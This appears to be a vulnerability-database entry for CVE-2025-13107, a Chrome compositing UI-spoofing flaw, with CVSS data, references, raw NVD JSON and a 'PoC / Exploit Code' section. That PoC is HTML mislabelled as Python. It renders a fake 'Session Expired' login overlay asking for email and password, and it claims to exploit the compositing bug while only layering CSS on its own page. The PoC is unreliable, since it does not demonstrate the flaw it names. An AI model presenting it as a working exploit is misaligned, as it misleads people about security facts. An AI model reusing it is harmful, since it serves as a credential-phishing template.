CVE-2025-13107

Description

Inappropriate implementation in Compositing in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 140.0.7339.80

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13107 UI Spoofing PoC -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13107 UI Spoofing PoC</title>
    <style>
        body { margin: 0; font-family: Arial, sans-serif; }
        .legitimate-site {
            width: 100%;
            height: 100vh;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            display: flex;
            justify-content: center;
            align-items: center;
            color: white;
            font-size: 24px;
        }
        .fake-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.85);
            display: flex;
            justify-content: center;
            align-items: center;
            z-index: 2147483647;
        }
        .fake-login {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.5);
            text-align: center;
            min-width: 350px;
        }
        .fake-login h2 {
            color: #333;
            margin-bottom: 25px;
        }
        .fake-login input {
            width: 100%;
            padding: 12px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 5px;
            box-sizing: border-box;
        }
        .fake-login button {
            width: 100%;
            padding: 12px;
            background: #4285f4;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            margin-top: 10px;
        }
        .fake-login button:hover {
            background: #3367d6;
        }
        .compositing-trigger {
            position: fixed;
            bottom: 10px;
            right: 10px;
            background: red;
            color: white;
            padding: 5px 10px;
            font-size: 10px;
            border-radius: 3px;
            z-index: 2147483646;
        }
    </style>
</head>
<body>
    <div class="legitimate-site">
        <p>Legitimate Website Content</p>
    </div>
    
    <div class="fake-overlay">
        <div class="fake-login">
            <h2>Session Expired - Please Login Again</h2>
            <p style="color: #666; font-size: 14px; margin-bottom: 15px;">
                For security, please verify your credentials
            </p>
            <form onsubmit="alert('Credentials captured! CVE-2025-13107 PoC'); return false;">
                <input type="email" placeholder="Email or Username" required>
                <input type="password" placeholder="Password" required>
                <button type="submit">Sign In</button>
            </form>
            <p style="color: #999; font-size: 12px; margin-top: 15px;">
                This overlay exploits Compositing vulnerability
            </p>
        </div>
    </div>
    
    <div class="compositing-trigger">CVE-2025-13107</div>
    
    <script>
        // Trigger compositing manipulation
        document.body.style.transform = 'translateZ(0)';
        document.body.style.willChange = 'transform';
        
        // Force layer creation
        const overlay = document.querySelector('.fake-overlay');
        overlay.style.transform = 'translateZ(0)';
        overlay.style.backfaceVisibility = 'hidden';
        
        console.log('CVE-2025-13107 UI Spoofing PoC loaded');
        console.log('Affected: Google Chrome < 140.0.7339.80');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13107
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13107
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13107/
[4] VulDB https://vuldb.com/cve/CVE-2025-13107
[5] https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/429440615

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13107", "sourceIdentifier": "[email protected]", "published": "2025-11-14T03:15:56.687", "lastModified": "2025-11-17T12:18:25.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Compositing in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "140.0.7339.80", "matchCriteriaId": "614C3A2A-11F8-45CE-BEF0-9033AD4AE057"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/429440615", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}